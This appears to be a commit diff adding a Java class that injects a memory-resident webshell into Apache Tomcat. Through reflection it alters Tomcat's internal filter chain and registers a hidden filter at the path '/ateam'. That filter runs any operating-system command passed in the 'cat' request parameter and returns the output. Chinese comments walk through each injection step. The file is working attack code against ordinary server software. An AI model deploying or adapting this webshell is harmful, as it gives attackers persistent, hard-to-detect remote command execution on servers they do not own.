1
+ package memshell .tomcat ;
2
+
3
+ import org .apache .catalina .Context ;
4
+ import org .apache .catalina .core .ApplicationContext ;
5
+ import org .apache .catalina .core .ApplicationFilterConfig ;
6
+ import org .apache .catalina .core .StandardContext ;
7
+ // tomcat 8/9
8
+ import org .apache .tomcat .util .descriptor .web .FilterMap ;
9
+ import org .apache .tomcat .util .descriptor .web .FilterDef ;
10
+ // tomcat 7
11
+ //import org.apache.catalina.deploy.FilterDef;
12
+ //import org.apache.catalina.deploy.FilterMap;
13
+
14
+ import javax .servlet .*;
15
+ import javax .servlet .annotation .WebFilter ;
16
+ import javax .servlet .http .HttpServletRequest ;
17
+ import javax .servlet .http .HttpServletResponse ;
18
+ import java .io .IOException ;
19
+ import java .io .InputStream ;
20
+ import java .lang .reflect .Constructor ;
21
+ import java .lang .reflect .Field ;
22
+ import java .lang .reflect .InvocationTargetException ;
23
+ import java .util .Map ;
24
+ import java .util .Scanner ;
25
+
26
+ @ WebFilter ("catfilter" )
27
+ public class AddFilter implements Filter {
28
+ String name = "AteamFilter" ;
29
+ String injectURL = "/ateam" ;
30
+ String shellParameter = "cat" ;
31
+ AddFilter () {
32
+
33
+ try {
34
+ java .lang .Class applicationDispatcher = java .lang .Class .forName ("org.apache.catalina.core.ApplicationDispatcher" );
35
+ java .lang .reflect .Field WRAP_SAME_OBJECT = applicationDispatcher .getDeclaredField ("WRAP_SAME_OBJECT" );
36
+ java .lang .reflect .Field modifiersField = WRAP_SAME_OBJECT .getClass ().getDeclaredField ("modifiers" );
37
+ modifiersField .setAccessible (true );
38
+ modifiersField .setInt (WRAP_SAME_OBJECT , WRAP_SAME_OBJECT .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
39
+ WRAP_SAME_OBJECT .setAccessible (true );
40
+ if (!WRAP_SAME_OBJECT .getBoolean (null )) {
41
+ WRAP_SAME_OBJECT .setBoolean (null , true );
42
+ }
43
+
44
+ //初始化 lastServicedRequest
45
+ java .lang .Class applicationFilterChain = java .lang .Class .forName ("org.apache.catalina.core.ApplicationFilterChain" );
46
+ java .lang .reflect .Field lastServicedRequest = applicationFilterChain .getDeclaredField ("lastServicedRequest" );
47
+ modifiersField = lastServicedRequest .getClass ().getDeclaredField ("modifiers" );
48
+ modifiersField .setAccessible (true );
49
+ modifiersField .setInt (lastServicedRequest , lastServicedRequest .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
50
+ lastServicedRequest .setAccessible (true );
51
+ if (lastServicedRequest .get (null ) == null ) {
52
+ lastServicedRequest .set (null , new ThreadLocal <>());
53
+ }
54
+
55
+ //初始化 lastServicedResponse
56
+ java .lang .reflect .Field lastServicedResponse = applicationFilterChain .getDeclaredField ("lastServicedResponse" );
57
+ modifiersField = lastServicedResponse .getClass ().getDeclaredField ("modifiers" );
58
+ modifiersField .setAccessible (true );
59
+ modifiersField .setInt (lastServicedResponse , lastServicedResponse .getModifiers () & ~java .lang .reflect .Modifier .FINAL );
60
+ lastServicedResponse .setAccessible (true );
61
+ if (lastServicedResponse .get (null ) == null ) {
62
+ lastServicedResponse .set (null , new ThreadLocal <>());
63
+ }
64
+
65
+
66
+ java .lang .reflect .Field lastServicedRequest2 = applicationFilterChain .getDeclaredField ("lastServicedRequest" );
67
+ lastServicedRequest2 .setAccessible (true );
68
+ java .lang .ThreadLocal thredLocal = (java .lang .ThreadLocal ) lastServicedRequest2 .get (null );
69
+
70
+
71
+ /*shell注入,前提需要能拿到request、response等*/
72
+ if (thredLocal != null && thredLocal .get () != null ) {
73
+ javax .servlet .ServletRequest servletRequest = (javax .servlet .ServletRequest ) thredLocal .get ();
74
+ javax .servlet .ServletContext servletContext = servletRequest .getServletContext ();
75
+
76
+
77
+
78
+ Field appctx = servletContext .getClass ().getDeclaredField ("context" ); // 获取属性
79
+ appctx .setAccessible (true );
80
+ ApplicationContext applicationContext = (ApplicationContext ) appctx .get (servletContext ); //从servletContext中获取context属性->applicationContext
81
+
82
+ Field stdctx = applicationContext .getClass ().getDeclaredField ("context" ); // 获取属性
83
+ stdctx .setAccessible (true );
84
+ StandardContext standardContext = (StandardContext ) stdctx .get (applicationContext ); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
85
+
86
+ Field Configs = standardContext .getClass ().getDeclaredField ("filterConfigs" ); //获取属性
87
+ Configs .setAccessible (true );
88
+ Map filterConfigs = (Map ) Configs .get (standardContext ); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可
89
+ // 以上反射获取的成员属性都是接口实例的
90
+
91
+ if (filterConfigs .get (name ) == null ) {
92
+ AddFilter filter = new AddFilter ("aaa" );
93
+
94
+ FilterDef filterDef = new FilterDef (); // 组装filter各类信息和对象本身加载到标准的filterDef对象
95
+ filterDef .setFilterName (name );
96
+ filterDef .setFilterClass (filter .getClass ().getName ());
97
+ filterDef .setFilter (filter );
98
+ standardContext .addFilterDef (filterDef ); // 将filterDef 添加到filterDefs中
99
+
100
+ FilterMap filterMap = new FilterMap ();
101
+ filterMap .addURLPattern (injectURL );
102
+ filterMap .setFilterName (name );
103
+ filterMap .setDispatcher (DispatcherType .REQUEST .name ()); // 关键点就在于tomcat>=7以上才有这个
104
+ standardContext .addFilterMapBefore (filterMap ); // 组装filterMap 添加到filterMaps中
105
+
106
+ //在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器
107
+ //反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作
108
+ Constructor constructor = ApplicationFilterConfig .class .getDeclaredConstructor (Context .class , FilterDef .class );
109
+ constructor .setAccessible (true );
110
+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig ) constructor .newInstance (standardContext , filterDef );
111
+
112
+ filterConfigs .put (name , filterConfig ); //在filterConfigs中添加定义好的filterConfig
113
+
114
+ }
115
+ ;
116
+
117
+ }
118
+ } catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e ) {
119
+ e .printStackTrace ();
120
+ }
121
+ }
122
+
123
+ public AddFilter (String aaa ) {
124
+ }
125
+
126
+ @ Override
127
+ public void init (FilterConfig filterConfig ) throws ServletException {
128
+
129
+ }
130
+
131
+ @ Override
132
+ public void doFilter (ServletRequest servletRequest , ServletResponse servletResponse , FilterChain filterChain ) throws IOException , ServletException {
133
+ HttpServletRequest req = (HttpServletRequest ) servletRequest ;
134
+ HttpServletResponse resp = (HttpServletResponse ) servletResponse ;
135
+ if (req .getParameter (this .shellParameter ) != null ) {
136
+ String charsetName = System .getProperty ("os.name" ).toLowerCase ().contains ("window" ) ? "GBK" :"UTF-8" ;
137
+ InputStream in = Runtime .getRuntime ().exec (req .getParameter (this .shellParameter )).getInputStream ();
138
+ Scanner s = new Scanner (in ,charsetName ).useDelimiter ("\\ A" );
139
+ String output = s .hasNext () ? s .next () : "" ;
140
+ // servletResponse.getWriter().write(output);
141
+
142
+ resp .getWriter ().write (output );
143
+
144
+ }
145
+ filterChain .doFilter (servletRequest , servletResponse );
146
+ }
147
+
148
+ @ Override
149
+ public void destroy () {
150
+
151
+ }
152
+ }
0 commit comments